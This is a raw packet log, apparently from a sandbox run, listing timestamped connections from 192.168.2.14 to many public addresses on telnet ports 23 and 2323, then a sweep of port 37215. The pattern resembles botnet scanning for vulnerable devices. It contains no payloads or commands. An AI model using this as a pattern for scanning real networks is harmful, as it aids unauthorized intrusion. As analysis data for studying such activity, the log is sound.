Nov 3, 2024 15:37:13.508965969 CET	36201	23	192.168.2.14	194.50.211.181
Nov 3, 2024 15:37:13.508966923 CET	23	36201	36.232.164.125	192.168.2.14
Nov 3, 2024 15:37:13.508966923 CET	36201	23	192.168.2.14	190.255.36.128
Nov 3, 2024 15:37:13.508976936 CET	23	36201	102.145.154.26	192.168.2.14
Nov 3, 2024 15:37:13.508986950 CET	23	36201	110.28.218.75	192.168.2.14
Nov 3, 2024 15:37:13.508991003 CET	36201	23	192.168.2.14	181.228.46.35
Nov 3, 2024 15:37:13.508996010 CET	36201	23	192.168.2.14	36.232.164.125
Nov 3, 2024 15:37:13.509006023 CET	2323	36201	2.120.90.229	192.168.2.14
Nov 3, 2024 15:37:13.509011030 CET	36201	23	192.168.2.14	110.28.218.75
Nov 3, 2024 15:37:13.509012938 CET	36201	23	192.168.2.14	102.145.154.26
Nov 3, 2024 15:37:13.509016037 CET	23	36201	174.52.25.131	192.168.2.14
Nov 3, 2024 15:37:13.509027004 CET	23	36201	36.177.168.136	192.168.2.14
Nov 3, 2024 15:37:13.509037018 CET	23	36201	189.90.225.63	192.168.2.14
Nov 3, 2024 15:37:13.509037971 CET	36201	2323	192.168.2.14	2.120.90.229
Nov 3, 2024 15:37:13.509042025 CET	36201	23	192.168.2.14	174.52.25.131
Nov 3, 2024 15:37:13.509047031 CET	23	36201	17.69.91.221	192.168.2.14
Nov 3, 2024 15:37:13.509056091 CET	36201	23	192.168.2.14	36.177.168.136
Nov 3, 2024 15:37:13.509057999 CET	23	36201	136.161.78.173	192.168.2.14
Nov 3, 2024 15:37:13.509069920 CET	23	36201	82.0.52.251	192.168.2.14
Nov 3, 2024 15:37:13.509071112 CET	36201	23	192.168.2.14	189.90.225.63
Nov 3, 2024 15:37:13.509080887 CET	23	36201	208.16.164.194	192.168.2.14
Nov 3, 2024 15:37:13.509083033 CET	36201	23	192.168.2.14	17.69.91.221
Nov 3, 2024 15:37:13.509087086 CET	36201	23	192.168.2.14	136.161.78.173
Nov 3, 2024 15:37:13.509093046 CET	23	36201	179.112.120.96	192.168.2.14
Nov 3, 2024 15:37:13.509095907 CET	36201	23	192.168.2.14	82.0.52.251
Nov 3, 2024 15:37:13.509104967 CET	2323	36201	86.188.130.188	192.168.2.14
Nov 3, 2024 15:37:13.509110928 CET	36201	23	192.168.2.14	208.16.164.194
Nov 3, 2024 15:37:13.509115934 CET	23	36201	167.38.238.109	192.168.2.14
Nov 3, 2024 15:37:13.509125948 CET	36201	23	192.168.2.14	179.112.120.96
Nov 3, 2024 15:37:13.509129047 CET	23	36201	217.155.221.239	192.168.2.14
Nov 3, 2024 15:37:13.509133101 CET	36201	2323	192.168.2.14	86.188.130.188
Nov 3, 2024 15:37:13.509144068 CET	36201	23	192.168.2.14	167.38.238.109
Nov 3, 2024 15:37:13.509166002 CET	36201	23	192.168.2.14	217.155.221.239
Nov 3, 2024 15:37:13.509215117 CET	23	36201	69.153.181.205	192.168.2.14
Nov 3, 2024 15:37:13.509226084 CET	23	36201	9.139.109.180	192.168.2.14
Nov 3, 2024 15:37:13.509236097 CET	23	36201	150.197.121.17	192.168.2.14
Nov 3, 2024 15:37:13.509246111 CET	23	36201	218.115.136.67	192.168.2.14
Nov 3, 2024 15:37:13.509251118 CET	36201	23	192.168.2.14	69.153.181.205
Nov 3, 2024 15:37:13.509253025 CET	36201	23	192.168.2.14	9.139.109.180
Nov 3, 2024 15:37:13.509254932 CET	23	36201	179.114.44.93	192.168.2.14
Nov 3, 2024 15:37:13.509268045 CET	23	36201	93.0.44.43	192.168.2.14
Nov 3, 2024 15:37:13.509274006 CET	36201	23	192.168.2.14	218.115.136.67
Nov 3, 2024 15:37:13.509274006 CET	36201	23	192.168.2.14	150.197.121.17
Nov 3, 2024 15:37:13.509280920 CET	23	36201	37.154.228.93	192.168.2.14
Nov 3, 2024 15:37:13.509291887 CET	36201	23	192.168.2.14	179.114.44.93
Nov 3, 2024 15:37:13.509299994 CET	36201	23	192.168.2.14	93.0.44.43
Nov 3, 2024 15:37:13.509309053 CET	23	36201	157.129.253.155	192.168.2.14
Nov 3, 2024 15:37:13.509319067 CET	36201	23	192.168.2.14	37.154.228.93
Nov 3, 2024 15:37:13.509320021 CET	2323	36201	151.241.50.79	192.168.2.14
Nov 3, 2024 15:37:13.509330988 CET	23	36201	37.49.109.12	192.168.2.14
Nov 3, 2024 15:37:13.509342909 CET	23	36201	101.166.4.196	192.168.2.14
Nov 3, 2024 15:37:13.509345055 CET	36201	23	192.168.2.14	157.129.253.155
Nov 3, 2024 15:37:13.509355068 CET	23	36201	88.141.193.100	192.168.2.14
Nov 3, 2024 15:37:13.509362936 CET	36201	23	192.168.2.14	37.49.109.12
Nov 3, 2024 15:37:13.509363890 CET	23	36201	177.44.234.139	192.168.2.14
Nov 3, 2024 15:37:13.509366989 CET	36201	2323	192.168.2.14	151.241.50.79
Nov 3, 2024 15:37:13.509373903 CET	36201	23	192.168.2.14	101.166.4.196
Nov 3, 2024 15:37:13.509376049 CET	23	36201	160.24.233.225	192.168.2.14
Nov 3, 2024 15:37:13.509378910 CET	36201	23	192.168.2.14	88.141.193.100
Nov 3, 2024 15:37:13.509387016 CET	23	36201	80.129.70.107	192.168.2.14
Nov 3, 2024 15:37:13.509392977 CET	36201	23	192.168.2.14	177.44.234.139
Nov 3, 2024 15:37:13.509398937 CET	23	36201	32.116.172.113	192.168.2.14
Nov 3, 2024 15:37:13.509408951 CET	23	36201	118.129.193.238	192.168.2.14
Nov 3, 2024 15:37:13.509412050 CET	36201	23	192.168.2.14	160.24.233.225
Nov 3, 2024 15:37:13.509418964 CET	36201	23	192.168.2.14	80.129.70.107
Nov 3, 2024 15:37:13.509429932 CET	2323	36201	169.25.246.30	192.168.2.14
Nov 3, 2024 15:37:13.509433985 CET	36201	23	192.168.2.14	32.116.172.113
Nov 3, 2024 15:37:13.509439945 CET	23	36201	174.104.35.4	192.168.2.14
Nov 3, 2024 15:37:13.509443045 CET	36201	23	192.168.2.14	118.129.193.238
Nov 3, 2024 15:37:13.509449959 CET	23	36201	148.208.127.16	192.168.2.14
Nov 3, 2024 15:37:13.509466887 CET	36201	2323	192.168.2.14	169.25.246.30
Nov 3, 2024 15:37:13.509468079 CET	36201	23	192.168.2.14	174.104.35.4
Nov 3, 2024 15:37:13.509474993 CET	23	36201	191.198.192.4	192.168.2.14
Nov 3, 2024 15:37:13.509485006 CET	23	36201	110.141.151.208	192.168.2.14
Nov 3, 2024 15:37:13.509507895 CET	36201	23	192.168.2.14	148.208.127.16
Nov 3, 2024 15:37:13.509509087 CET	23	36201	192.10.250.213	192.168.2.14
Nov 3, 2024 15:37:13.509514093 CET	36201	23	192.168.2.14	191.198.192.4
Nov 3, 2024 15:37:13.509520054 CET	23	36201	12.87.204.151	192.168.2.14
Nov 3, 2024 15:37:13.509521008 CET	36201	23	192.168.2.14	110.141.151.208
Nov 3, 2024 15:37:13.509531021 CET	23	36201	62.192.41.38	192.168.2.14
Nov 3, 2024 15:37:13.509541035 CET	23	36201	151.87.135.199	192.168.2.14
Nov 3, 2024 15:37:13.509542942 CET	36201	23	192.168.2.14	192.10.250.213
Nov 3, 2024 15:37:13.509551048 CET	36201	23	192.168.2.14	62.192.41.38
Nov 3, 2024 15:37:13.509552956 CET	23	36201	96.181.180.187	192.168.2.14
Nov 3, 2024 15:37:13.509555101 CET	36201	23	192.168.2.14	12.87.204.151
Nov 3, 2024 15:37:13.509558916 CET	23	36201	58.182.228.255	192.168.2.14
Nov 3, 2024 15:37:13.509563923 CET	2323	36201	13.106.43.128	192.168.2.14
Nov 3, 2024 15:37:13.509567976 CET	23	36201	115.177.84.232	192.168.2.14
Nov 3, 2024 15:37:13.509572029 CET	23	36201	85.88.142.251	192.168.2.14
Nov 3, 2024 15:37:13.509577036 CET	23	36201	157.111.10.88	192.168.2.14
Nov 3, 2024 15:37:13.509584904 CET	23	36201	144.0.154.128	192.168.2.14
Nov 3, 2024 15:37:13.509594917 CET	23	36201	60.105.248.254	192.168.2.14
Nov 3, 2024 15:37:13.509603024 CET	36201	23	192.168.2.14	58.182.228.255
Nov 3, 2024 15:37:13.509603977 CET	36201	23	192.168.2.14	151.87.135.199
Nov 3, 2024 15:37:13.509603977 CET	36201	2323	192.168.2.14	13.106.43.128
Nov 3, 2024 15:37:13.509607077 CET	36201	23	192.168.2.14	96.181.180.187
Nov 3, 2024 15:37:13.509613991 CET	23	36201	111.236.184.26	192.168.2.14
Nov 3, 2024 15:37:13.509624004 CET	23	36201	165.196.8.58	192.168.2.14
Nov 3, 2024 15:37:13.509628057 CET	36201	23	192.168.2.14	115.177.84.232
Nov 3, 2024 15:37:13.509628057 CET	36201	23	192.168.2.14	85.88.142.251
Nov 3, 2024 15:37:13.509635925 CET	36201	23	192.168.2.14	157.111.10.88
Nov 3, 2024 15:37:13.509637117 CET	36201	23	192.168.2.14	144.0.154.128
Nov 3, 2024 15:37:13.509637117 CET	36201	23	192.168.2.14	60.105.248.254
Nov 3, 2024 15:37:13.509649992 CET	23	36201	145.229.244.118	192.168.2.14
Nov 3, 2024 15:37:13.509650946 CET	36201	23	192.168.2.14	111.236.184.26
Nov 3, 2024 15:37:13.509660959 CET	36201	23	192.168.2.14	165.196.8.58
Nov 3, 2024 15:37:13.509661913 CET	23	36201	204.191.230.42	192.168.2.14
Nov 3, 2024 15:37:13.509665966 CET	2323	36201	8.195.63.186	192.168.2.14
Nov 3, 2024 15:37:13.509686947 CET	23	36201	188.252.237.123	192.168.2.14
Nov 3, 2024 15:37:13.509692907 CET	36201	23	192.168.2.14	145.229.244.118
Nov 3, 2024 15:37:13.509695053 CET	36201	23	192.168.2.14	204.191.230.42
Nov 3, 2024 15:37:13.509695053 CET	36201	2323	192.168.2.14	8.195.63.186
Nov 3, 2024 15:37:13.509701967 CET	23	36201	104.168.205.14	192.168.2.14
Nov 3, 2024 15:37:13.509713888 CET	23	36201	158.101.50.194	192.168.2.14
Nov 3, 2024 15:37:13.509720087 CET	36201	23	192.168.2.14	188.252.237.123
Nov 3, 2024 15:37:13.509723902 CET	23	36201	74.50.102.155	192.168.2.14
Nov 3, 2024 15:37:13.509727955 CET	36201	23	192.168.2.14	104.168.205.14
Nov 3, 2024 15:37:13.509742975 CET	36201	23	192.168.2.14	158.101.50.194
Nov 3, 2024 15:37:13.509752989 CET	36201	23	192.168.2.14	74.50.102.155
Nov 3, 2024 15:37:13.529472113 CET	38276	37215	192.168.2.14	156.245.81.105
Nov 3, 2024 15:37:13.534431934 CET	37215	38276	156.245.81.105	192.168.2.14
Nov 3, 2024 15:37:13.534504890 CET	38276	37215	192.168.2.14	156.245.81.105
Nov 3, 2024 15:37:13.534635067 CET	35945	37215	192.168.2.14	156.12.15.170
Nov 3, 2024 15:37:13.534636974 CET	35945	37215	192.168.2.14	156.23.22.42
Nov 3, 2024 15:37:13.534641981 CET	35945	37215	192.168.2.14	197.121.22.2
Nov 3, 2024 15:37:13.534641981 CET	35945	37215	192.168.2.14	156.23.206.164
Nov 3, 2024 15:37:13.534641981 CET	35945	37215	192.168.2.14	156.246.68.212
Nov 3, 2024 15:37:13.534642935 CET	35945	37215	192.168.2.14	197.14.151.22
Nov 3, 2024 15:37:13.534642935 CET	35945	37215	192.168.2.14	197.235.225.74
Nov 3, 2024 15:37:13.534642935 CET	35945	37215	192.168.2.14	197.217.221.189
Nov 3, 2024 15:37:13.534652948 CET	35945	37215	192.168.2.14	41.217.142.146
Nov 3, 2024 15:37:13.534651995 CET	35945	37215	192.168.2.14	156.123.105.92
Nov 3, 2024 15:37:13.534661055 CET	35945	37215	192.168.2.14	156.110.163.119
Nov 3, 2024 15:37:13.534665108 CET	35945	37215	192.168.2.14	156.53.211.249
Nov 3, 2024 15:37:13.534665108 CET	35945	37215	192.168.2.14	197.99.6.187
Nov 3, 2024 15:37:13.534682989 CET	35945	37215	192.168.2.14	41.172.168.59
Nov 3, 2024 15:37:13.534683943 CET	35945	37215	192.168.2.14	156.109.151.232
Nov 3, 2024 15:37:13.534686089 CET	35945	37215	192.168.2.14	197.196.102.16
Nov 3, 2024 15:37:13.534686089 CET	35945	37215	192.168.2.14	197.103.213.188
Nov 3, 2024 15:37:13.534689903 CET	35945	37215	192.168.2.14	197.131.223.169
Nov 3, 2024 15:37:13.534692049 CET	35945	37215	192.168.2.14	41.98.117.145
Nov 3, 2024 15:37:13.534702063 CET	35945	37215	192.168.2.14	156.164.195.117
Nov 3, 2024 15:37:13.534708023 CET	35945	37215	192.168.2.14	156.204.1.163
Nov 3, 2024 15:37:13.534713030 CET	35945	37215	192.168.2.14	156.177.21.136
Nov 3, 2024 15:37:13.534713030 CET	35945	37215	192.168.2.14	156.232.246.155
Nov 3, 2024 15:37:13.534713030 CET	35945	37215	192.168.2.14	41.226.9.90
Nov 3, 2024 15:37:13.534723043 CET	35945	37215	192.168.2.14	197.155.185.136
Nov 3, 2024 15:37:13.534727097 CET	35945	37215	192.168.2.14	197.33.22.79
Nov 3, 2024 15:37:13.534729004 CET	35945	37215	192.168.2.14	156.112.34.220
Nov 3, 2024 15:37:13.534737110 CET	35945	37215	192.168.2.14	197.121.178.194
Nov 3, 2024 15:37:13.534737110 CET	35945	37215	192.168.2.14	41.70.113.77
Nov 3, 2024 15:37:13.534744024 CET	35945	37215	192.168.2.14	156.157.44.249
Nov 3, 2024 15:37:13.534746885 CET	35945	37215	192.168.2.14	156.133.230.90
Nov 3, 2024 15:37:13.534749985 CET	35945	37215	192.168.2.14	156.191.75.29
Nov 3, 2024 15:37:13.534766912 CET	35945	37215	192.168.2.14	41.207.221.236
Nov 3, 2024 15:37:13.534769058 CET	35945	37215	192.168.2.14	41.90.223.136
Nov 3, 2024 15:37:13.534769058 CET	35945	37215	192.168.2.14	197.17.77.215
Nov 3, 2024 15:37:13.534770966 CET	35945	37215	192.168.2.14	156.125.150.0
Nov 3, 2024 15:37:13.534773111 CET	35945	37215	192.168.2.14	156.214.6.152
Nov 3, 2024 15:37:13.534776926 CET	35945	37215	192.168.2.14	41.11.181.152
Nov 3, 2024 15:37:13.534778118 CET	35945	37215	192.168.2.14	197.64.233.116
Nov 3, 2024 15:37:13.534790039 CET	35945	37215	192.168.2.14	197.79.41.242
Nov 3, 2024 15:37:13.534796000 CET	35945	37215	192.168.2.14	197.114.205.184
Nov 3, 2024 15:37:13.534801006 CET	35945	37215	192.168.2.14	41.38.125.70
Nov 3, 2024 15:37:13.534802914 CET	35945	37215	192.168.2.14	41.140.192.147
Nov 3, 2024 15:37:13.534802914 CET	35945	37215	192.168.2.14	197.188.176.24
Nov 3, 2024 15:37:13.534802914 CET	35945	37215	192.168.2.14	156.173.146.36
Nov 3, 2024 15:37:13.534816027 CET	35945	37215	192.168.2.14	156.211.117.252
Nov 3, 2024 15:37:13.534821033 CET	35945	37215	192.168.2.14	41.249.235.121
Nov 3, 2024 15:37:13.534822941 CET	35945	37215	192.168.2.14	41.14.158.199
Nov 3, 2024 15:37:13.534830093 CET	35945	37215	192.168.2.14	197.28.79.87
Nov 3, 2024 15:37:13.534838915 CET	35945	37215	192.168.2.14	41.41.66.53
Nov 3, 2024 15:37:13.534840107 CET	35945	37215	192.168.2.14	156.133.189.119
Nov 3, 2024 15:37:13.534846067 CET	35945	37215	192.168.2.14	197.146.226.212
Nov 3, 2024 15:37:13.534846067 CET	35945	37215	192.168.2.14	197.122.140.43
Nov 3, 2024 15:37:13.534852028 CET	35945	37215	192.168.2.14	197.116.37.171
Nov 3, 2024 15:37:13.534857988 CET	35945	37215	192.168.2.14	41.87.79.148
Nov 3, 2024 15:37:13.534862995 CET	35945	37215	192.168.2.14	156.85.68.167
Nov 3, 2024 15:37:13.534863949 CET	35945	37215	192.168.2.14	156.80.118.227
Nov 3, 2024 15:37:13.534862995 CET	35945	37215	192.168.2.14	41.218.207.242
Nov 3, 2024 15:37:13.534863949 CET	35945	37215	192.168.2.14	197.33.103.184
Nov 3, 2024 15:37:13.534868002 CET	35945	37215	192.168.2.14	197.1.57.147
Nov 3, 2024 15:37:13.534868002 CET	35945	37215	192.168.2.14	156.7.215.35
Nov 3, 2024 15:37:13.534868002 CET	35945	37215	192.168.2.14	156.77.143.13
Nov 3, 2024 15:37:13.534868002 CET	35945	37215	192.168.2.14	156.123.163.24
Nov 3, 2024 15:37:13.534873009 CET	35945	37215	192.168.2.14	197.140.224.164
Nov 3, 2024 15:37:13.534873962 CET	35945	37215	192.168.2.14	156.238.66.212
Nov 3, 2024 15:37:13.534878016 CET	35945	37215	192.168.2.14	156.254.19.101
Nov 3, 2024 15:37:13.534878969 CET	35945	37215	192.168.2.14	41.179.95.65
Nov 3, 2024 15:37:13.534878969 CET	35945	37215	192.168.2.14	156.40.36.12
Nov 3, 2024 15:37:13.534878969 CET	35945	37215	192.168.2.14	197.163.186.226
Nov 3, 2024 15:37:13.534885883 CET	35945	37215	192.168.2.14	197.154.137.212
Nov 3, 2024 15:37:13.534890890 CET	35945	37215	192.168.2.14	197.125.115.28
Nov 3, 2024 15:37:13.534893990 CET	35945	37215	192.168.2.14	197.24.215.128
Nov 3, 2024 15:37:13.534893990 CET	35945	37215	192.168.2.14	41.32.21.252
Nov 3, 2024 15:37:13.534904003 CET	35945	37215	192.168.2.14	197.249.219.66
Nov 3, 2024 15:37:13.534904003 CET	35945	37215	192.168.2.14	197.18.20.215
Nov 3, 2024 15:37:13.534907103 CET	35945	37215	192.168.2.14	41.16.185.147
Nov 3, 2024 15:37:13.534909964 CET	35945	37215	192.168.2.14	197.120.102.234
Nov 3, 2024 15:37:13.534924030 CET	35945	37215	192.168.2.14	41.160.91.10
Nov 3, 2024 15:37:13.534925938 CET	35945	37215	192.168.2.14	41.239.228.174
Nov 3, 2024 15:37:13.534928083 CET	35945	37215	192.168.2.14	197.1.150.122
Nov 3, 2024 15:37:13.534929037 CET	35945	37215	192.168.2.14	41.147.191.49
Nov 3, 2024 15:37:13.534929037 CET	35945	37215	192.168.2.14	41.22.188.73
Nov 3, 2024 15:37:13.534944057 CET	35945	37215	192.168.2.14	197.86.45.106
Nov 3, 2024 15:37:13.534946918 CET	35945	37215	192.168.2.14	41.241.40.199
Nov 3, 2024 15:37:13.534950018 CET	35945	37215	192.168.2.14	41.85.89.227
Nov 3, 2024 15:37:13.534953117 CET	35945	37215	192.168.2.14	41.210.42.63
Nov 3, 2024 15:37:13.534953117 CET	35945	37215	192.168.2.14	197.176.36.171
Nov 3, 2024 15:37:13.534954071 CET	35945	37215	192.168.2.14	197.199.166.28
Nov 3, 2024 15:37:13.534960985 CET	35945	37215	192.168.2.14	41.253.217.108
Nov 3, 2024 15:37:13.534960985 CET	35945	37215	192.168.2.14	156.227.25.156
Nov 3, 2024 15:37:13.534970999 CET	35945	37215	192.168.2.14	197.110.24.137
Nov 3, 2024 15:37:13.534970999 CET	35945	37215	192.168.2.14	156.171.120.86
Nov 3, 2024 15:37:13.534971952 CET	35945	37215	192.168.2.14	41.215.218.178
Nov 3, 2024 15:37:13.534981012 CET	35945	37215	192.168.2.14	156.172.237.184
Nov 3, 2024 15:37:13.534985065 CET	35945	37215	192.168.2.14	156.202.249.193
Nov 3, 2024 15:37:13.534989119 CET	35945	37215	192.168.2.14	156.253.200.133
Nov 3, 2024 15:37:13.534990072 CET	35945	37215	192.168.2.14	197.130.51.163
Nov 3, 2024 15:37:13.534993887 CET	35945	37215	192.168.2.14	197.66.160.164
Nov 3, 2024 15:37:13.535006046 CET	35945	37215	192.168.2.14	41.217.98.225
Nov 3, 2024 15:37:13.535017014 CET	35945	37215	192.168.2.14	156.85.252.230
Nov 3, 2024 15:37:13.535017014 CET	35945	37215	192.168.2.14	41.7.166.217
Nov 3, 2024 15:37:13.535017014 CET	35945	37215	192.168.2.14	197.113.125.118
Nov 3, 2024 15:37:13.535018921 CET	35945	37215	192.168.2.14	41.61.126.49
Nov 3, 2024 15:37:13.535017014 CET	35945	37215	192.168.2.14	197.17.83.252
Nov 3, 2024 15:37:13.535018921 CET	35945	37215	192.168.2.14	41.33.158.205
Nov 3, 2024 15:37:13.535017014 CET	35945	37215	192.168.2.14	156.24.116.181
Nov 3, 2024 15:37:13.535017014 CET	35945	37215	192.168.2.14	197.6.26.8
Nov 3, 2024 15:37:13.535022020 CET	35945	37215	192.168.2.14	41.175.246.87
Nov 3, 2024 15:37:13.535022020 CET	35945	37215	192.168.2.14	197.132.24.99
Nov 3, 2024 15:37:13.535022974 CET	35945	37215	192.168.2.14	156.69.113.215
Nov 3, 2024 15:37:13.535032034 CET	35945	37215	192.168.2.14	156.37.0.196
Nov 3, 2024 15:37:13.535037041 CET	35945	37215	192.168.2.14	41.157.214.160
Nov 3, 2024 15:37:13.535037041 CET	35945	37215	192.168.2.14	41.144.213.60
Nov 3, 2024 15:37:13.535037041 CET	35945	37215	192.168.2.14	156.191.208.145
Nov 3, 2024 15:37:13.535039902 CET	35945	37215	192.168.2.14	156.145.231.223
Nov 3, 2024 15:37:13.535039902 CET	35945	37215	192.168.2.14	41.173.1.51
Nov 3, 2024 15:37:13.535039902 CET	35945	37215	192.168.2.14	197.86.121.187
Nov 3, 2024 15:37:13.535042048 CET	35945	37215	192.168.2.14	41.149.224.156
Nov 3, 2024 15:37:13.535047054 CET	35945	37215	192.168.2.14	197.156.255.135
Nov 3, 2024 15:37:13.535059929 CET	35945	37215	192.168.2.14	156.40.103.227
Nov 3, 2024 15:37:13.535059929 CET	35945	37215	192.168.2.14	197.21.255.55
Nov 3, 2024 15:37:13.535068989 CET	35945	37215	192.168.2.14	156.181.170.218
Nov 3, 2024 15:37:13.535070896 CET	35945	37215	192.168.2.14	197.71.58.80
Nov 3, 2024 15:37:13.535074949 CET	35945	37215	192.168.2.14	197.162.12.210
Nov 3, 2024 15:37:13.535077095 CET	35945	37215	192.168.2.14	41.205.241.128
Nov 3, 2024 15:37:13.535088062 CET	35945	37215	192.168.2.14	41.35.230.99
Nov 3, 2024 15:37:13.535092115 CET	35945	37215	192.168.2.14	156.51.208.9
Nov 3, 2024 15:37:13.535099030 CET	35945	37215	192.168.2.14	41.231.144.218
Nov 3, 2024 15:37:13.535101891 CET	35945	37215	192.168.2.14	156.59.89.252
Nov 3, 2024 15:37:13.535106897 CET	35945	37215	192.168.2.14	197.122.133.82
Nov 3, 2024 15:37:13.535109043 CET	35945	37215	192.168.2.14	156.34.135.56
Nov 3, 2024 15:37:13.535125971 CET	35945	37215	192.168.2.14	41.51.210.171
Nov 3, 2024 15:37:13.535129070 CET	35945	37215	192.168.2.14	41.203.170.232
Nov 3, 2024 15:37:13.535134077 CET	35945	37215	192.168.2.14	197.157.199.101
Nov 3, 2024 15:37:13.535140991 CET	35945	37215	192.168.2.14	197.90.122.88
Nov 3, 2024 15:37:13.535140991 CET	35945	37215	192.168.2.14	156.48.104.176
Nov 3, 2024 15:37:13.535140991 CET	35945	37215	192.168.2.14	41.255.229.228
Nov 3, 2024 15:37:13.535141945 CET	35945	37215	192.168.2.14	41.17.219.183
Nov 3, 2024 15:37:13.535141945 CET	35945	37215	192.168.2.14	197.198.162.98
Nov 3, 2024 15:37:13.535150051 CET	35945	37215	192.168.2.14	197.106.125.175
Nov 3, 2024 15:37:13.535151005 CET	35945	37215	192.168.2.14	156.119.49.205
Nov 3, 2024 15:37:13.535151005 CET	35945	37215	192.168.2.14	41.129.106.53
Nov 3, 2024 15:37:13.535150051 CET	35945	37215	192.168.2.14	156.223.107.43
Nov 3, 2024 15:37:13.535152912 CET	35945	37215	192.168.2.14	197.193.178.85
Nov 3, 2024 15:37:13.535151005 CET	35945	37215	192.168.2.14	197.107.249.108
Nov 3, 2024 15:37:13.535151005 CET	35945	37215	192.168.2.14	197.23.179.157
Nov 3, 2024 15:37:13.535152912 CET	35945	37215	192.168.2.14	156.168.201.120
Nov 3, 2024 15:37:13.535171032 CET	35945	37215	192.168.2.14	41.158.42.150
Nov 3, 2024 15:37:13.535172939 CET	35945	37215	192.168.2.14	197.186.95.202
Nov 3, 2024 15:37:13.535172939 CET	35945	37215	192.168.2.14	197.178.96.223
Nov 3, 2024 15:37:13.535172939 CET	35945	37215	192.168.2.14	197.87.102.27
Nov 3, 2024 15:37:13.535172939 CET	35945	37215	192.168.2.14	197.188.109.222
Nov 3, 2024 15:37:13.535192013 CET	35945	37215	192.168.2.14	41.156.8.201
Nov 3, 2024 15:37:13.535193920 CET	35945	37215	192.168.2.14	156.110.84.64
Nov 3, 2024 15:37:13.535193920 CET	35945	37215	192.168.2.14	197.23.204.61
Nov 3, 2024 15:37:13.535193920 CET	35945	37215	192.168.2.14	156.72.108.95
Nov 3, 2024 15:37:13.535202026 CET	35945	37215	192.168.2.14	156.94.34.82
Nov 3, 2024 15:37:13.535204887 CET	35945	37215	192.168.2.14	41.251.147.159
Nov 3, 2024 15:37:13.535207033 CET	35945	37215	192.168.2.14	41.50.187.166
Nov 3, 2024 15:37:13.535223961 CET	35945	37215	192.168.2.14	156.251.140.136
Nov 3, 2024 15:37:13.535224915 CET	35945	37215	192.168.2.14	156.115.146.84
Nov 3, 2024 15:37:13.535228968 CET	35945	37215	192.168.2.14	41.134.12.99
Nov 3, 2024 15:37:13.535240889 CET	35945	37215	192.168.2.14	41.40.247.160
Nov 3, 2024 15:37:13.535242081 CET	35945	37215	192.168.2.14	41.185.77.155
Nov 3, 2024 15:37:13.535245895 CET	35945	37215	192.168.2.14	197.40.0.4
Nov 3, 2024 15:37:13.535247087 CET	35945	37215	192.168.2.14	156.152.105.241
Nov 3, 2024 15:37:13.535249949 CET	35945	37215	192.168.2.14	197.164.78.147
Nov 3, 2024 15:37:13.535255909 CET	35945	37215	192.168.2.14	41.241.240.206
Nov 3, 2024 15:37:13.535260916 CET	35945	37215	192.168.2.14	41.83.76.251
Nov 3, 2024 15:37:13.535265923 CET	35945	37215	192.168.2.14	41.210.253.161
Nov 3, 2024 15:37:13.535267115 CET	35945	37215	192.168.2.14	197.182.187.252
Nov 3, 2024 15:37:13.535276890 CET	35945	37215	192.168.2.14	41.118.225.199
Nov 3, 2024 15:37:13.535279989 CET	35945	37215	192.168.2.14	197.11.27.34
Nov 3, 2024 15:37:13.535280943 CET	35945	37215	192.168.2.14	41.107.53.198
Nov 3, 2024 15:37:13.535291910 CET	35945	37215	192.168.2.14	156.225.158.169
Nov 3, 2024 15:37:13.535298109 CET	35945	37215	192.168.2.14	41.84.23.162
Nov 3, 2024 15:37:13.535298109 CET	35945	37215	192.168.2.14	156.226.13.185
Nov 3, 2024 15:37:13.535299063 CET	35945	37215	192.168.2.14	156.116.220.231
Nov 3, 2024 15:37:13.535321951 CET	35945	37215	192.168.2.14	197.96.66.181
Nov 3, 2024 15:37:13.535324097 CET	35945	37215	192.168.2.14	156.172.35.55
Nov 3, 2024 15:37:13.535330057 CET	35945	37215	192.168.2.14	197.148.227.198
Nov 3, 2024 15:37:13.535332918 CET	35945	37215	192.168.2.14	156.109.65.253
Nov 3, 2024 15:37:13.535335064 CET	35945	37215	192.168.2.14	41.253.105.192
Nov 3, 2024 15:37:13.535340071 CET	35945	37215	192.168.2.14	197.235.5.176
Nov 3, 2024 15:37:13.535340071 CET	35945	37215	192.168.2.14	197.60.25.74
Nov 3, 2024 15:37:13.535340071 CET	35945	37215	192.168.2.14	41.90.111.116
Nov 3, 2024 15:37:13.535347939 CET	35945	37215	192.168.2.14	197.51.78.75
Nov 3, 2024 15:37:13.535362959 CET	35945	37215	192.168.2.14	156.113.148.153
Nov 3, 2024 15:37:13.535366058 CET	35945	37215	192.168.2.14	197.116.143.17
Nov 3, 2024 15:37:13.535366058 CET	35945	37215	192.168.2.14	156.30.35.125
Nov 3, 2024 15:37:13.535367012 CET	35945	37215	192.168.2.14	41.232.218.207
Nov 3, 2024 15:37:13.535367012 CET	35945	37215	192.168.2.14	41.42.52.105
Nov 3, 2024 15:37:13.535367012 CET	35945	37215	192.168.2.14	156.174.180.130
Nov 3, 2024 15:37:13.535373926 CET	35945	37215	192.168.2.14	41.239.52.124
Nov 3, 2024 15:37:13.535373926 CET	35945	37215	192.168.2.14	41.204.61.11
Nov 3, 2024 15:37:13.535373926 CET	35945	37215	192.168.2.14	156.35.62.185
Nov 3, 2024 15:37:13.535373926 CET	35945	37215	192.168.2.14	156.28.93.91
Nov 3, 2024 15:37:13.535377979 CET	35945	37215	192.168.2.14	197.250.205.189
Nov 3, 2024 15:37:13.535381079 CET	35945	37215	192.168.2.14	156.75.180.6
Nov 3, 2024 15:37:13.535382032 CET	35945	37215	192.168.2.14	197.64.220.36
Nov 3, 2024 15:37:13.535394907 CET	35945	37215	192.168.2.14	197.211.253.42
Nov 3, 2024 15:37:13.535394907 CET	35945	37215	192.168.2.14	197.132.244.160
Nov 3, 2024 15:37:13.535396099 CET	35945	37215	192.168.2.14	156.31.131.115
Nov 3, 2024 15:37:13.535394907 CET	35945	37215	192.168.2.14	156.133.183.121
Nov 3, 2024 15:37:13.535394907 CET	35945	37215	192.168.2.14	41.69.204.176
Nov 3, 2024 15:37:13.535394907 CET	35945	37215	192.168.2.14	197.81.226.224
Nov 3, 2024 15:37:13.535394907 CET	35945	37215	192.168.2.14	41.2.158.234
Nov 3, 2024 15:37:13.535394907 CET	35945	37215	192.168.2.14	197.225.165.96
Nov 3, 2024 15:37:13.535404921 CET	35945	37215	192.168.2.14	156.28.35.166
Nov 3, 2024 15:37:13.535404921 CET	35945	37215	192.168.2.14	41.253.206.218
Nov 3, 2024 15:37:13.535407066 CET	35945	37215	192.168.2.14	41.235.53.149
Nov 3, 2024 15:37:13.535408974 CET	35945	37215	192.168.2.14	197.114.127.207
Nov 3, 2024 15:37:13.535408974 CET	35945	37215	192.168.2.14	197.142.88.207
